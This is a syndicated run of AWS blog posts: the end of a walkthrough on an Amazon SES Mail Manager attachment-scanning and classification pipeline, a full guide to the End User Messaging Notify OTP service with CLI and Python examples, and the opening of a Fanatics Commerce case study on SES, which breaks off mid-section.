If Amazon Bedrock returns an error or malformed JSON, the function falls back to category: unknown, urgency: non-urgent and continues. It never blocks the attachment processor.

Choosing a classification model

To customize the classification categories for your use case, update the SYSTEM_PROMPT in the categorizer Lambda function. The prompt uses a structured instruction format that you can extend with additional categories, urgency levels, or routing rules. For example, an insurance carrier could add categories like claim_new, claim_status, document_submission, and complaint to automatically triage patient email. You can also update the COMPANY_NAME environment variable to inject your organization’s name into the classification prompt without modifying the function code.

To switch the model, update the BEDROCK_MODEL_ID environment variable. The following table compares supported options:

Model Model ID Best for Latency Relative cost
Amazon Nova Micro amazon.nova-micro-v1:0 Fast structured classification, low latency ~200ms Lowest
Amazon Nova Lite amazon.nova-lite-v1:0 Richer summaries, multi-label classification ~400ms Moderate
Anthropic Claude 3 Haiku anthropic.claude-3-haiku-20240307-v1:0 Complex reasoning, nuanced categorization ~600ms Higher

Attachment extraction and routing

The MailManager-AttachmentProcessor function handles MIME parsing, recipient-based routing, and cleanup. It performs the following steps:

  1. Parses the recipient email address and message ID from the Mail Manager event information.
  2. Retrieves the raw MIME message from the amzn-s3-demo-bucket-general-receiving S3 bucket using the message ID from the event as the S3 key.
  3. Looks up the recipient’s S3 destination in the RecipientBucketLookup DynamoDB table, or creates a new entry if this is the first email for that recipient.
  4. Extracts attachment parts from the MIME message, skipping plain-text and HTML body parts that have no file name.
  5. Copies each attachment to the recipient’s S3 bucket at the prefix {local_part}/ (for example, invoices/ for [email protected]).
  6. Deletes the original MIME object from the landing-zone bucket, but only if every attachment copy succeeded. If any copy failed, the MIME is retained for retry.
  7. Returns a response to Mail Manager indicating success or failure.

This synchronous invocation pattern allows the rule set to make routing decisions based on the Lambda function’s response. If attachment extraction fails, subsequent rules can bounce the message or route it to a quarantine location.

Attachment detection logic

The function detects attachments using three criteria:

  1. Content-Disposition containing attachment.
  2. Any MIME part with a file name (even if disposition is inline or missing).
  3. Non-text, non-multipart parts (such as application/pdf or image/*).

For parts without a file name, the function generates one from the content type (for example, attachment.pdf).

Input validation and security

The pipeline implements the following input validation to protect against malicious content and unexpected inputs:

  • messageId validation — the messageId from the Mail Manager event is validated against an alphanumeric-plus-hyphen pattern ([a-zA-Z0-9\-]+) before use as an S3 key. Unexpected formats raise a ValueError, which causes Mail Manager to apply the ActionFailurePolicy.
  • Attachment filename sanitization — filenames from MIME Content-Disposition headers are attacker-controlled. Before use as S3 key components, each filename is processed through os.path.basename() to strip directory components, leading-dot stripping to prevent hidden-file creation, and a character allowlist ([\w.\- ]). Filenames are also truncated to 255 characters.
  • Prompt size caps — the email body sent to Amazon Bedrock is capped at 4,000 characters. The subject line is capped at 500 characters, preventing oversized prompts and excessive token usage.

The following additional controls are recommended before adapting this pipeline for production:

  • Validate attachment file types against an approved allowlist (such as .pdf, .docx, .xlsx). Reject or quarantine messages with disallowed file types.
  • Implement per-attachment size limits in addition to the overall 35 MB message size limit.
  • Verify MIME structure integrity before parsing. Handle malformed MIME structures as error conditions.
  • Log validation failures to Amazon CloudWatch for security monitoring and audit purposes.

AWS CloudFormation and CDK support for Mail Manager rule actions

The InvokeLambda and Bounce rule actions are supported natively in AWS::SES::MailManagerRuleSet as of March 2026. The companion CDK stack uses CfnMailManagerRuleSet directly. No Custom Resource is required.

When using the Python CDK L1 bindings, note that typed property classes for Bounce and InvokeLambda are not yet exposed in the Python bindings. Pass these actions as plain dicts with camelCase keys matching the AWS CloudFormation property names. RuleActionProperty accepts Dict[str, Any] for each field:

ses.CfnMailManagerRuleSet.RuleActionProperty(
    bounce={
        "smtpReplyCode": "550",
        "statusCode": "5.7.1",
        "diagnosticMessage": "Your attachment was infected.",
        "sender": "[email protected]",
        "roleArn": role.role_arn,
        "actionFailurePolicy": "CONTINUE",
    }
)

API reference: AWS::SES::MailManagerRuleSet | AWS CDK API Reference

Prerequisites

This post and companion GitHub project assume familiarity with SMTP protocols, email infrastructure concepts, AWS Lambda, Amazon S3, Amazon DynamoDB, and AWS IAM.

Estimated time: 20–30 minutes to deploy and test.

Estimated cost: This pipeline uses a Mail Manager open ingress endpoint that costs $50/mo in addition to various AWS services that are charged based on actual usage. In a low-volume test environment (fewer than 1,000 email messages per day), costs should typically be under $60 USD per month driven primarily by Mail Manager archiving, S3 storage, Lambda invocations, and Amazon Bedrock token usage. Use the AWS Pricing Calculator to estimate costs for your expected volume.

AWS IAM permissions: The deploying user needs permissions to create and manage AWS CloudFormation stacks, Lambda functions, S3 buckets, DynamoDB tables, AWS IAM roles, and Amazon SES Mail Manager resources. For testing, AdministratorAccess is sufficient. For production, scope permissions to the specific actions required: cloudformation:CreateStacklambda:CreateFunctions3:CreateBucketdynamodb:CreateTableiam:CreateRoleiam:PassRoleses:CreateTrafficPolicyses:CreateRuleSet, and ses:CreateAddressList. (Separately, the Lambda functions’ own execution roles, created by the stack, grant bedrock:InvokeModel at runtime; that permission is not needed by the person deploying the stack.)

To deploy this pipeline, you need the following:

  1. An active AWS account.
  2. AWS Command Line Interface (AWS CLI) version 2.x or later installed and configured with credentials and default region.
  3. AWS CDK version 2.x or later installed (npm install -g aws-cdk) and Python 3.12 or later.
  4. Amazon SES configured with production access in the target region with a verified Amazon SES identity for the bounce sender address.
  5. Ability to administer the DNS entries for the Amazon SES identity to add an MX record pointing to the Mail Manager ingress endpoint’s A record.

Deployment

Tip: Whichever path you choose, review the Prerequisites section first to make sure your AWS account has the necessary permissions and that you have a verified domain available in Amazon SES. The complete solution is available as an open-source reference implementation. To deploy it in your AWS account, clone the companion repository:

git clone https://github.com/aws-samples/sample-amazon-ses-mail-manager-attachment-pipeline.git
cd sample-amazon-ses-mail-manager-attachment-pipeline

From here, you have two paths to get up and running:

Option 1: Deploy manually

Follow the step-by-step instructions in the repository’s README.md. At a high level, you will:

  1. Install prerequisites (AWS CDK, Node.js, Python).
  2. Configure your environment variables (AWS account, region, verified domain).
  3. Bootstrap your CDK environment.
  4. Deploy the stack with cdk deploy.
  5. Complete post-deployment verification (confirm email receiving rules are active and test with a sample message).

Option 2: Deploy with a coding agent

If you use an AI-powered coding assistant (such as Amazon Q Developer CLI or Kiro), install the AWS MCP server and SES/Mail Manager skills to empower your AI assistants with deep context on Amazon SES and Mail Manager. These resources give your assistant live access to AWS APIs and CDK documentation, which significantly reduces trial-and-error during deployment. The repository’s AGENTS.md file contains machine-readable guidance, deployment failure recovery patterns, and region handling notes specifically for AI assistants. Simply point your AI assistant at the AGENTS.md file in the repository root. This file provides structured, machine-readable instructions that guide the agent through the full deployment, from prerequisite checks through stack deployment and validation, without manual intervention.

# Example: point your agent at the instructions
@agent follow AGENTS.md

Validating the deployment

Once your stack is deployed and the MX record is in place, send a test email with an attachment to one of your approved recipient addresses. Then confirm each stage of the pipeline executed successfully:

1. Check Lambda execution

Open Amazon CloudWatch Logs for both functions and confirm they completed without errors:

aws logs tail /aws/lambda/MailManager-EmailCategorizer --follow
aws logs tail /aws/lambda/MailManager-AttachmentProcessor --follow

You should see log entries showing the message ID being processed by each function in sequence: the categorizer first, then the attachment processor.

2. Confirm email classification

Query the EmailCategories DynamoDB table to verify Amazon Bedrock classified your test message:

aws dynamodb scan --table-name EmailCategories --max-items 1

A successful record includes category, urgency, and a short summary, all generated by Amazon Nova Micro from the email’s subject and body.

3. Verify attachment extraction

Look up your recipient’s S3 destination in the RecipientBucketLookup table, then list the bucket contents to confirm the attachment arrived:

aws dynamodb get-item --table-name RecipientBucketLookup \
  --key '{"recipient": {"S": "[email protected]"}}'

aws s3 ls s3://<bucket-name>/<prefix>/ --recursive

If all three checks pass, your pipeline is fully operational. Email messages are being scanned, classified, and routed to per-recipient storage without any external orchestration.

Troubleshooting

If your test email does not flow through the pipeline as expected, start with these common issues:

Symptom Likely cause Resolution
Bounce action fails silently — infected emails are dropped without notification The bounce_sender identity is not verified in the deployment region. Amazon SES identities are regional. Verify the domain in your target region: aws sesv2 create-email-identity --email-identity example.com --region <region>, add the DKIM CNAMEs to DNS, and wait for verification. No redeployment required.
Bounce action returns a validation error bounce_sender is set to a bare domain instead of an email address Use a full address like [email protected], not just example.com

For CDK deployment issues, stack rollback errors, and teardown conflicts, see the repository troubleshooting guide.

General debugging tip: Both Lambda functions log to /aws/lambda/MailManager-EmailCategorizer and /aws/lambda/MailManager-AttachmentProcessor in Amazon CloudWatch Logs. Start there for any runtime failures.

Clean up

To avoid ongoing charges, destroy the stack when you are done:

AWS_DEFAULT_REGION= cdk destroy

Note: If the destroy fails with a ConflictException, detach the ingress point from the traffic policy first. Amazon DynamoDB tables created with RETAIN policies may also need manual deletion. See the repository’s Common failure modes table for details.

Do not forget to remove the MX record from your domain’s DNS once the ingress point is deleted. After completing the clean up, verify on the AWS Management Console that the Mail Manager ingress endpoint, Amazon S3 buckets, Amazon DynamoDB tables, and Lambda functions no longer appear in your account.

Conclusion

The Lambda action and Bounce action in Amazon SES Mail Manager support multi-step inbound email processing without complex orchestration workarounds. This pipeline demonstrates how these capabilities work together in production: scanning attachments for malware, classifying email content with AI, extracting and routing files to per-recipient storage, and providing immediate RFC-compliant feedback to senders. The modular architecture supports extension: add new classification categories, integrate additional scanning engines, or chain Lambda functions for multi-stage processing. The synchronous invocation pattern means that every processing step completes before the next begins, giving you full control over the pipeline flow. Get started by cloning the sample-amazon-ses-mail-manager-attachment-pipeline repository and deploying to your account. For an overview of the four new Mail Manager capabilities used in this pipeline, see Four new Amazon SES Mail Manager capabilities, explained.

FAQ

Q: Can I use a different Amazon Bedrock model for email classification?

Yes. Update the BEDROCK_MODEL_ID environment variable on the MailManager-EmailCategorizer Lambda function. No changes to code are required. See the preceding model comparison table for supported options.

Q: Do I need to request access to Amazon Nova Micro?

No. In all commercial AWS Regions, access to Amazon Bedrock foundation models including Amazon Nova Micro is available by default. AWS GovCloud (US) regions require an explicit access request through the Amazon Bedrock console.

Q: What happens if the Lambda function times out or fails?

REQUEST_RESPONSE invocation is time-bounded to approximately 30 seconds, or sooner if your function’s own configured timeout is shorter. In either case, Mail Manager applies the ActionFailurePolicy configured on the rule action. If set to CONTINUE, the pipeline moves to the next action. If set to DROP, the message is discarded. This pipeline uses CONTINUE, so a transient classification failure does not block attachment delivery.

Q: Can I add more classification categories?

Yes. Edit the SYSTEM_PROMPT in the categorizer Lambda function. The function writes whatever categories the model returns to Amazon DynamoDB. No schema changes are needed.

Q: How does the pipeline handle email messages with no attachments?

The AttachmentProcessor detects zero attachment parts, skips extraction, deletes the raw MIME from the landing-zone bucket, and returns success. The EmailCategorizer still classifies the message normally.

Q: What is the maximum attachment size supported?

The traffic policy enforces a 35 MB maximum message size (total MIME payload including all attachments and base64 encoding overhead). Individual attachments are not size-limited beyond this total cap.

Q: Can I deploy this with an AI coding agent?

Yes. The repository includes an AGENTS.md file with machine-readable deployment instructions. Point your AI assistant (Kiro, Claude Code, Amazon Q Developer CLI) at this file and it handles the full deployment without manual intervention.

Q: Is the Bounce action RFC-compliant?

Yes, with one clarification: it is not a live SMTP-transaction rejection. Mail Manager first accepts the message, then the rule set runs. If the Bounce action fires, it generates a non-delivery report (NDR) back to the sender with an RFC 5321-compliant SMTP reply code and an RFC 3463-compliant enhanced status code.


About the authors

Getting started with AWS End User Messaging Notify

Post Syndicated from Brett Ezell original https://aws.amazon.com/blogs/messaging-and-targeting/getting-started-with-aws-end-user-messaging-notify/

One-time passwords (OTPs) are the backbone of modern user verification, from account creation to wallet additions, to password resets. But for businesses operating globally, delivering OTP messages reliably across dozens of countries is complex. It has traditionally meant navigating a maze of country-specific registrations, originator provisioning, and carrier compliance requirements. AWS End User Messaging Notify changes that equation entirely by removing the complexity of global OTP delivery.

Before we dive into the technical implementation, let’s explore what Notify is, why it matters for businesses sending verification codes at scale, and how you can go from zero to sending OTPs in minutes, not weeks.

The problem with traditional OTP sending

Sending OTP messages through traditional SMS channels requires significant upfront investment. For each country you want to reach, you need to research which origination identity types are supported: short codes, long codes, toll-free numbers, sender IDs, or 10DLC. Each has different registration timelines, throughput limits, and costs. Some countries require pre-registered message templates. Others mandate sender ID registration or risk having your messages displayed as “LIKELY-SCAM” to recipients.

For a business targeting multiple countries, that complexity multiplies fast. Each market carries its own registration process, approval timeline, and compliance requirements. A US short code can take 8–12 weeks to provision. India requires Distributed Ledger Technology (DLT) registration with the Telecom Regulatory Authority of India (TRAI), including entity verification, template approval, and header registration. Even straightforward markets like the UK now require sender ID registration to prevent carrier filtering.

The result? Businesses spend weeks or months on registration paperwork before sending their first verification code. And that assumes every registration is approved on the first attempt.

What is Notify?

Notify is a fully managed OTP and verification code sending service within AWS End User Messaging. Instead of provisioning your own phone numbers, managing carrier registrations, and building routing logic, you create a single Notify configuration and AWS handles the rest: the origination identities, carrier compliance, message routing, and even fraud protection.

The core benefit behind Notify is simplicity. You provide your brand name, select your target countries, choose a pre-approved message template, and start sending. AWS automatically validates your account, assigns the appropriate origination identities for each destination country, configures SMS Protect for fraud prevention, and routes your messages through the optimal delivery path. What previously required weeks of registration work now takes minutes.

The business case for Notify

The value of Notify becomes clear when you look at the traditional OTP implementation journey. A business targeting the United States, United Kingdom, Japan, and India would face four completely different registration processes:

  • United States: Choose between toll-free (15 business days, best case), 10DLC (moderate timeline), or short code (8-12 weeks or more). Sender IDs are not supported.
  • United Kingdom: Sender ID registration is required. Unregistered sender IDs risk being displayed as “LIKELY-SCAM.” Short codes are available through an AWS support case.
  • Japan: Sender IDs are still supported without pre-registration, but number display isn’t guaranteed across all carriers (particularly KDDI). Dedicated short codes are available through an AWS support case.
  • India: Requires DLT registration including entity verification, content template approval, and header (sender ID) registration. Traditionally one of the longest lead-time markets to onboard.

With Notify, your OTP use case in all four of these countries can be operational in minutes. For markets that previously required weeks, you can send immediately while working through dedicated registrations in parallel.

To illustrate the business impact across industries:

  • Hospitality and entertainment: Theme parks and resorts with global audiences can verify guest accounts across 50+ countries without managing individual country registrations, so international visitors can add passes to digital wallets, create accounts, and complete elevated security actions.
  • Ecommerce: Global marketplaces can onboard customers from any supported country with verified OTPs, eliminating the registration bottleneck that delays international expansion.
  • Financial services: Banks and fintech companies can deploy multi-factor authentication globally, with built-in fraud protection that automatically filters artificially inflated traffic and SMS pumping.
  • Healthcare: Patient portals can verify identities across international locations, with pre-approved templates that help maintain compliance without custom message body management.

Where to start?

When evaluating Notify for your OTP program, we recommend starting with your highest-volume verification use case. OTP and code verification messages follow predictable patterns, making them ideal candidates for Notify pre-approved templates. More importantly, they provide the most immediate return on investment (ROI) by eliminating the registration overhead for your most critical customer touchpoint.

Consider a phased approach:

  • Phase 1 – Quick win with Notify: Set up Notify for your primary markets. Get OTP sending operational in minutes. Use this to validate your integration and monitor deliverability.
  • Phase 2 – Evaluate and scale: As volumes grow, evaluate whether specific high-volume countries benefit from dedicated origination identities for higher throughput or branding purposes. Notify supports a hybrid approach in which you can use your own originators alongside Notify managed identities.
  • Phase 3 – Complex markets: For countries with strict registration requirements, begin the dedicated registration process in parallel. After they’re approved, integrate those dedicated identities into your sending architecture while Notify continues to handle the rest.

Now that you have decided where to start, the next sections walk you through setting up your first Notify configuration, from prerequisites to sending your first OTP.

Prerequisites

Before you begin, make sure that you have the following prerequisites in place:

  • An active AWS account with billing configured.
  • Access to the AWS End User Messaging SMS console.
  • AWS Identity and Access Management (IAM) permissions for AWS End User Messaging SMS operations.
  • A brand display name for your Notify configuration.
  • A planned list of target countries for your OTP messages.

Note: The display name must contain only letters, numbers, spaces, hyphens, or underscores, and can be up to 15 characters.

Understanding Notify tiers

Notify offers two tiers, each designed for different stages of your OTP implementation:

Feature Basic tier Advanced tier
Transactions per second (TPS) 1 25
Daily message limit 200 messages/day Unlimited
Country availability 30 pre-approved low-risk countries Full country list
Short code access No Yes
Fraud protection (SMS Protect) Mandatory – AWS managed Mandatory – AWS managed
Compliance verification Trust-based with audit AWS verifies opt-in compliance

The Basic tier is designed for getting started, testing, and low-volume use cases. It provides immediate access with conservative limits, which is well suited to validating your integration before scaling to production.

The Advanced tier unlocks higher throughput, unlimited daily sending, and access to the full list of supported countries. To upgrade, you complete a streamlined verification process where AWS confirms your opt-in compliance. This is significantly faster than traditional carrier registration because the verification stays within the AWS boundary. No downstream carrier approval is required.

The Basic tier is live almost immediately. The Advanced tier upgrade requires a brand verification registration that demonstrates a compliant opt-in flow, and most requests are processed within 3-5 business days, which is still much faster than traditional carrier registrations.

Spend limits: Notify has a separate spend limit from standard SMS sending. AWS auto-approves more generous limits for Notify, but plan accordingly if you anticipate high volumes at launch.

Testing tip: While testing, keep in mind there is a per-recipient cap of 10 messages per day per Notify configuration (and 10 per day per account) for any single destination phone number. If repeated test sends to your own phone suddenly stop arriving, this limit, not a configuration error, is the likely cause.

A closer look at Advanced tier country coverage

The Advanced tier documentation states it supports all countries available on AWS End User Messaging SMS. While technically accurate, there is an important distinction not immediately obvious from the console: not all countries are fully managed with Notify.

At the time of writing, 68 of the 247 countries available on the Advanced tier (28%) require you to provide your own origination identity. For those destinations, you still need to go through number provisioning and carrier registration. AWS does not automatically assign managed identities for these countries.

To identify which countries require customer-owned identities, use the AWS End User Messaging SMS v2 API:

aws pinpoint-sms-voice-v2 list-notify-countries --tier ADVANCED

For table view, use:

aws pinpoint-sms-voice-v2 list-notify-countries \
  --tier ADVANCED \
  --output table \
  --query 'sort_by(NotifyCountries, &CountryName)[].{
    "Country Name": CountryName,
    "ISO Code": IsoCountryCode,
    "Supported Channels": join(`, `, SupportedChannels),
    "Supported Use Cases": join(`, `, SupportedUseCases),
    "Supported Tiers": join(`, `, SupportedTiers),
    "Customer Owned Identity Required": CustomerOwnedIdentityRequired
  }'

The output is a formatted table as seen here:

Terminal table of Notify countries showing ISO code, channels, use cases, tiers, and the Customer Owned Identity Required column

Look for the CustomerOwnedIdentityRequired field in the response.

Coverage type Count Percentage
Fully managed by AWS 179 72%
Customer-owned identity required 68 28%
Total Advanced tier countries 247 100%

Note: These figures reflect coverage at the time of publication. As AWS continues expanding Notify fully managed coverage, these numbers may change – always use the API for the most current breakdown.

Generating the countries list as a CSV

Because Notify’s country coverage evolves over time as AWS expands fully managed support, we recommend always generating the latest list with the AWS CLI, in a spreadsheet-friendly format, whenever you need it.

aws pinpoint-sms-voice-v2 list-notify-countries \
--tier ADVANCED \
--output json \
--query 'sort_by(NotifyCountries, &CountryName)[].{CountryName: CountryName, IsoCountryCode: IsoCountryCode, SupportedChannels: join(`, `, SupportedChannels), SupportedUseCases: join(`, `, SupportedUseCases), SupportedTiers: join(`, `, SupportedTiers), CustomerOwnedIdentityRequired: CustomerOwnedIdentityRequired}' \
| jq -r '["Country Name","ISO Code","Supported Channels","Supported Use Cases","Supported Tiers","Customer Owned Identity Required"], (.[] | [.CountryName, .IsoCountryCode, .SupportedChannels, .SupportedUseCases, .SupportedTiers, (.CustomerOwnedIdentityRequired | tostring)]) | @csv' > notify-countries.csv

What this means for your planning

  • For 179 countries, coverage is turnkey. Create your configuration and start sending immediately.
  • For 68 countries, you need a hybrid setup. Provision origination identities and associate them through a phone pool. Notify still handles routing, templates, and fraud protection.
  • This reinforces the phased approach: start with the 179 fully managed countries, then register for the remaining 68 in parallel.
  • Eight countries support SMS only, with no voice: Austria, China, France, Gabon, Germany, Italy, Pakistan, and Slovenia.

Pro tip: Before committing to your target country list, run the ListNotifyCountries API call and look for CustomerOwnedIdentityRequired: true to identify which markets need additional lead time.

How Notify works

Notify simplifies the OTP sending workflow into three steps:

  1. Create a Notify configuration – Provide your brand display name and select your use case (currently code verification). Optionally configure target countries, preferred templates, and channel settings.
  2. Enable countries and channels – Select which countries you want to send to and enable SMS, voice, or both. AWS automatically configures the appropriate origination identities and fraud protection for each country.
  3. Send messages – Use the SendNotifyTextMessage API to deliver OTPs. Pass your Notify configuration ID, the destination phone number, and your template variables (such as the OTP code). AWS handles identity selection, template resolution, and message delivery.

Registration steps

To create your first Notify configuration, open the AWS End User Messaging SMS console, choose Notify configurations, and choose Create configuration.

  1. Enter your brand display name, which cannot be changed after creation.
  2. Select the Code verification use case. Optionally, under Advanced, set your target countries, channels, language code, a default template, and a phone pool (for a hybrid setup).
  3. Choose Create configuration.

For full step-by-step details, see the Getting started with Notify tutorial.

Notify configuration creation form in the AWS End User Messaging SMS console with display name and use case fields

Your configuration activates within moments.

Sending your first OTP

After your configuration is active, you can send a test message directly from the console:

  1. Navigate to your Notify configuration and choose the Test tab.
  2. Enter a destination phone number.
  3. Select a message template and language.
  4. (Optional) Configure the OTP code value and expiration.
  5. Choose Send test message.

The recipient receives a message similar to the following:

“[YourBrandDisplayName], your one-time password verification code is [PASSWORD]. Please do not share this message. Sent by Notify.”

Note: This post focuses on delivering the OTP message itself. Generating a secure OTP code and verifying the code the customer submits back are outside the scope of this post. For guidance on that side of the architecture, including code generation, storage, and verification, see Build a Secure One-Time Password Architecture with AWS.

For programmatic sending, use the AWS End User Messaging SendNotifyTextMessage API (this example uses the AWS End User Messaging SMS phone number simulator):

In your terminal (or AWS CloudShell), create a new Python file:

cat > send_notify_message.py << 'EOF'
import boto3

client = boto3.client('pinpoint-sms-voice-v2')

response = client.send_notify_text_message(
    NotifyConfigurationId='notify-config-1234567890',
    DestinationPhoneNumber='+15555550123',
    TemplateId='your-template-id',
    TemplateVariables={
        'otp': '123456'
    },
    MessageFeedbackEnabled=True
)

print(f"Message ID: {response['MessageId']}")
EOF

Before running, replace the placeholder values with your own:

  • notify-config-1234567890 – Your Notify configuration ID.
  • +15555550123 – The destination phone number in E.164 format.
  • your-template-id – The template ID you created earlier.
  • 123456 – Your OTP or variable value.

Run the script:

python3 send_notify_message.py

You receive output similar to the following:

Message ID: msg-1234567890abcdef0

Note: Notify uses the same pinpoint-sms-voice-v2 API namespace as standard AWS End User Messaging SMS. If you have an existing integration, the migration path is straightforward. The primary difference is the API endpoint and parameters.

Notify and standard AWS End User Messaging SMS: Better together

Notify works alongside your existing AWS End User Messaging SMS infrastructure. This hybrid approach combines the strengths of both:

  • Notify for rapid global coverage: Use Notify for countries where you don’t have dedicated origination identities. Eliminate registration delays and start sending immediately.
  • Dedicated identities for high-volume markets: For countries where you need maximum throughput, custom branding, or two-way messaging, continue using your own short codes, toll-free numbers, or registered sender IDs.
  • Pool-based prioritization: Associate your dedicated numbers in a phone pool with your Notify configuration. Notify prioritizes your numbers first and falls back to AWS managed identities only when needed.

This approach works well for businesses expanding internationally. You can launch OTP verification in new markets on day one with Notify, then transition to dedicated identities as volume and requirements justify the investment.

How Notify compares to standard AWS End User Messaging SMS

The following table compares standard SMS sending with Notify across the capabilities that matter most when planning your OTP program.

Feature Standard SMS Notify
Number provisioning Customer managed AWS managed
Carrier registration Customer managed AWS managed
Time to first message Days to weeks Minutes
Message templates Customer created Pre-approved by AWS
Fraud protection Optional (SMS Protect) Mandatory (SMS Protect)
Country rules Customer configured AWS managed with customer controls
Throughput (Basic) Varies by originator 1 TPS, 200 msgs/day
Throughput (Advanced) Varies by originator 25 TPS, unlimited daily
Hybrid with own numbers N/A Supported via phone pools
API namespace pinpoint-sms-voice-v2 pinpoint-sms-voice-v2

Protecting your OTP traffic

Every Notify configuration includes mandatory SMS Protect integration. This means:

  • Country rules: Control which countries can receive messages. We recommend disabling all countries by default and enabling only your target markets. You can adjust these settings at any time through the console, API, or CLI.
  • Fraud filtering: AWS automatically filters artificially inflated traffic and SMS pumping. On the Basic tier, filter settings are AWS managed. On the Advanced tier, you retain the same protections with additional controls.
  • Spend controls: Notify includes a dedicated spend limit separate from your standard SMS spend limit. Monitor your usage through Amazon CloudWatch metrics and set up billing alerts to track spending.

You can view and manage your country rules directly within the Notify configuration. To allow or block specific countries:

  1. Navigate to your Notify configuration.
  2. Choose the Countries tab.
  3. Toggle countries between Allow and Block status.

Note: SMS Protect is part of all AWS End User Messaging, not exclusive to Notify. If you decide to transition from Notify to dedicated origination identities for specific countries, your Protect configurations carry over without additional configuration.

Important considerations

Display name is permanent: Your display name appears in every message and cannot be changed after creation. If you need to experiment, create a test configuration first, then create a production configuration with your finalized brand name.

Templates are pre-approved: You cannot create custom OTP message bodies with Notify. This is by design. Pre-approved templates help maintain carrier compliance and reduce the risk of message filtering. If you need custom message content, use standard SMS sending with your own origination identities.

Architecture compatibility: Notify uses the same V2 API (pinpoint-sms-voice-v2) as standard AWS End User Messaging SMS. If you have an existing architecture using Amazon API Gateway, AWS Lambda, and Amazon Simple Queue Service (Amazon SQS) for message routing, integrating Notify requires only parameter changes, not an architectural redesign.

Message feedback: Notify supports the Message Feedback API for tracking OTP conversion rates. Pass the MessageFeedbackEnabled parameter when sending to track whether recipients successfully verify their codes. This provides first-party data for measuring authentication success rates across countries and carriers.

Managing costs and usage

Notify pricing includes a per-message service fee on top of standard SMS transport rates. The service fee covers origination identity management, fraud protection, and routing optimization.

Monitor your Notify message volume through Amazon CloudWatch metrics and the analytics dashboard within your Notify configuration. Set up billing alerts to track spending against your budget. For the latest rates, see AWS End User Messaging pricing.

Conclusion

In this post, we showed you how AWS End User Messaging Notify eliminates the registration complexity of global OTP sending. You get a fully managed verification code service with built-in fraud protection, pre-approved templates, and coverage across 200+ countries, operational in minutes instead of weeks.

Evaluate your current OTP sending workflow and identify the countries where registration overhead is delaying your go-to-market. Consider starting with Notify for those markets to establish immediate coverage, then layer in dedicated origination identities for high-volume countries as your program scales.

Get started today

Ready to implement Notify? Here are your next steps:

Resources


About the authors

How Fanatics Commerce built a scalable email platform on Amazon SES

Post Syndicated from Paul DeLaria original https://aws.amazon.com/blogs/messaging-and-targeting/how-fanatics-commerce-built-a-scalable-email-platform-on-amazon-ses/

Fanatics Commerce is a leading designer, manufacturer, and retailer of licensed consumer products, including fan gear, jerseys, lifestyle and streetwear products, headwear, and hardgoods. Whether it’s a championship jersey or a last-minute gift, fans trust Fanatics to deliver and that trust extends to every digital touchpoint along the way.

Every order confirmation, shipping notification, and account update represents a moment of connection with a fan. Fans check their inbox after buying a jersey, track a package before game day, and verify their account when they sign up. These emails are the backbone of the fan experience.

The Fanatics Commerce engineering team built a modern, scalable email platform on Amazon Simple Email Service (Amazon SES), designed from the start for high deliverability, operational efficiency, and seasonal scale that comes with serving more than 100 million fans. When events like Super Bowl, NBA Finals, or World Series drive a surge in orders, the platform has to keep up without missing a beat.

This post walks through what drove the decision, the platform architecture, migration, the key engineering decisions, and what comes next for a large transactional email platform running on Amazon SES.

The case for change

As Fanatics Commerce grew, the engineering team saw an opportunity to elevate their email infrastructure by using Amazon SES capabilities purpose-built for operating at scale.

  1. Dedicated IP addresses for full reputation control. With dedicated IPs in Amazon SES, Fanatics Commerce could own their sending reputation entirely removing dependency on shared infrastructure and gaining direct control over deliverability outcomes.
  2. Granular traffic segmentation. Amazon SES offered the ability to treat transactional and marketing email as distinct, independently managed streams each with its own configuration sets, sending identities, and performance tuning rather than routing everything through a single pipeline.
  3. Real-time deliverability visibility. At the scale of millions of fans, the team needed domain-level insight into open rates, bounce rates, and complaint rates in real time. The built-in analytics and Virtual Deliverability Manager in Amazon SES gave them the detail to diagnose shifts quickly and act decisively.
  4. Domain-level isolation and authentication. SES enabled the team to assign dedicated subdomains and authentication policies (DKIM, SPF, DMARC) per email type ensuring high-priority transactional messages maintain protected, independent reputations.
  5. Operational automation at scale. IP warming, reputation monitoring, and sending pattern adjustments could be managed programmatically through SES rather than requiring manual intervention keeping pace with Fanatics Commerce’s volume growth.

The team recognized the opportunity to move beyond incremental fixes. Rather than continuing to adapt an existing system, they set out to build a purpose-built transactional email platform on AWS that addressed all of these needs from the ground up.

Why Fanatics Commerce chose Amazon SES

After evaluating their requirements against several email service providers, the Fanatics Commerce team chose Amazon SES for its combination of reputation control, native observability, and tight integration with their existing AWS infrastructure. Several capabilities stood out during their evaluation.

The priority was reputation control. SES supports dedicated IP pools with separate pools for high-priority transactional, account, and lower-priority traffic, ensuring noisy streams cannot contaminate critical flows.

Visibility was equally important. As Rajat Banerjee, Fanatics’ engineering leader, explains:

“SES emits detailed JSON events for every send, delivery, bounce, complaint, open, and click into S3, and we model that data directly in our warehouse. Tagging each event with order, site, and mailbox provider, plus the user agent SES captures on opens and clicks, lets us slice deliverability at the level we need to run at Fanatics Commerce scale. That granularity is what let us refine our NPS survey email, power order attribution reporting, and debug real production issues over the last few months.”

The team also valued owning the full delivery path, from provider through messaging queue, internal processing, and status store, with rendered email HTML stored in-house. This end-to-end visibility strengthens support and debugging workflows.

The migration scope is strictly transactional, service, and survey email with high but predictable baseline volume and large event-driven spikes. SES is purpose-built for this pattern, with configurable IP warm-up strategies and the flexibility to choose between standard and managed dedicated IPs.

Finally, SES integrates natively with AWS metrics, notifications, queues, and storage, allowing monitoring, alerting, and failure handling to follow the same patterns used elsewhere in the Fanatics stack.

“If SES works for Amazon at scale, I figured it would work for us. We had also seen SES handle our load before, during a failover from our primary provider on a shared IP setup. That gave us the confidence to commit early and design around it.”

Platform architecture

The Fanatics Commerce team designed their email platform with the same engineering rigor they apply to their commerce systems. The architecture reflects a technology first approach to email operations.

Figure 1 — Fanatics Commerce transactional email platform on Amazon SES

Application layer

The Fanatics application connects to Amazon SES through IAM role-based authentication, with no stored credentials anywhere in the pipeline. This approach simplified security management and eliminated credential rotation as an operational concern.

Managed dedicated IPs

Fanatics started with dedicated IPs and pivoted to managed dedicated to let SES handle IP warming and management. Managed IPs let Amazon SES handle reputation optimization automatically, adjusting sending patterns, warming new IPs, and responding to reputation signals without manual intervention. This was a deliberate engineering decision: the team wanted to invest their time building great fan experiences, not managing IP reputation.

“We started with standard dedicated IPs and managed warming ourselves. Reputation management at our scale became more challenging than we wanted to own, so on AWS architects’ recommendation we moved to managed dedicated IPs. We would rather have our engineers enhancing the fan experience than tuning IP reputation.”

Domain and subdomain strategy

